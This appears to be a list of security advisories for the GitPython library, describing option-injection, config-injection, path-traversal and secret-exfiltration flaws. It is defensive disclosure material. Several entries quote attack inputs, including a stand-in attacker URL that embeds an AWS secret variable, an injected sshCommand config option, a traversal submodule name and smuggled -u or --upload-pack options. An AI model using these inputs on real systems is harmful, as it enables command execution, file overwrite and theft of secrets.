Advisories for Pypi/GitPython package

2026

GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution

The check_unsafe_options guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with split_single_char_options=False. The guard's candidate list omits the smuggled option, but transform_kwarg emits a JOINED -n<value> argv token that git parses as –upload-pack=<cmd>, yielding arbitrary command execution at the default allow_unsafe_options=False. This is an incomplete-fix bypass of commit e8d0fbf7 (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when …

GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite

IndexFile.from_tree, IndexFile.reset (→ from_tree) and IndexFile.merge_tree append caller-influenced treeish strings positionally to git read-tree with no unsafe-option guard, no allow_unsafe_options parameter, and no – separator. git read-tree –index-output=<file> writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected –index-output override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit 3af0c251 (GHSA-3f7w-8rr8-f37f) guarded only checkout_index …

GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks

Repo.init() forwards *kwargs verbatim to git init with no unsafe-option guard and no allow_unsafe_options parameter. git init –template=<dir> copies <dir>/hooks/ into the new repo's .git/hooks, so an attacker-controlled template kwarg plants a hook that executes on the next git operation → arbitrary code execution. –template is already recognized as unsafe for clone (it is on unsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), but Repo.init is a distinct method that never …

GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)

GitPython's config-name validator only neutralizes CR/LF/NUL for the "option" label; it does not reject =, #, ;, [, ], or whitespace in an option name. write_section writes the option name verbatim into the config file, so an option name such as sshCommand = touch <cmd> # is written as \tsshCommand = touch <cmd> # = <value>, which git parses as core.sshCommand = touch <cmd> (the trailing # comments out the …

GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython

GitPython computes the on-disk location of a submodule's separate Git directory (.git/modules/<name>) from the submodule's .gitmodules section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. ../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition …

GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout with no guard. Passing –pathspec-from-file=<file> together with –pathspec-file-nul makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of GHSA-3f7w-8rr8-f37f - TagReference.create() with …

GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read

GitPython blocks dangerous git options through Git.check_unsafe_options(), gated per method by an allow_unsafe_options parameter. That guard is applied per call site, so any API that forwards **kwargs into a git command without calling it passes caller-controlled options straight to git. A mechanical sweep of every method that forwards **kwargs into a .git.<command>(…) call found 14 sites with no guard. Two reach a git option that takes a filesystem path: | …

GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution

GitPython's check_unsafe_options guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the default allow_unsafe_options=False configuration this yields arbitrary command execution via –upload-pack.

GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the […] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or …

GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next …

GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's …

GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (–upload-pack, –receive-pack, –exec, -c, –config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options(). That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git …

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (–upload-pack, –config, -c, -u for clone; –upload-pack for fetch/pull; –receive-pack, –exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True. The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option …

GitPython unsafe clone option gate bypass through joined short options

GitPython version 3.1.50 blocks unsafe git clone options such as –upload-pack, -u, –config, and -c unless callers explicitly pass allow_unsafe_options=True. However, the default unsafe-option gate does not recognize joined short-option forms such as -u/path/to/helper. Git itself accepts -u<upload-pack> as the short form of –upload-pack=<upload-pack>. As a result, Repo.clone_from(…, multi_options=["-u<helper>"], allow_unsafe_options=False) can execute the helper command even though the equivalent long option is blocked. Affected package: Ecosystem: PyPI Package: GitPython Confirmed …

GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py …

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's …

GitPython has Command Injection via Git options bypass

GitPython blocks dangerous Git options such as –upload-pack and –receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

2024
2023

GitPython blind local file inclusion

In order to resolve some git references, GitPython reads files from the .git directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the .git directory. This allows an attacker to make GitPython read any file from the system.

GitPython untrusted search path on Windows systems leading to arbitrary code execution

When resolving a program, Python/Windows look for the current working directory, and after that the PATH environment (see big warning in https://docs.python.org/3/library/subprocess.html#popen-constructor). GitPython defaults to use the git command, if a user runs GitPython from a repo has a git.exe or git executable, that program will be run instead of the one in the user's PATH.

GitPython vulnerable to remote code execution due to insufficient sanitization of input arguments

GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from, making it vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. NOTE: this issue exists because of an incomplete fix …

2022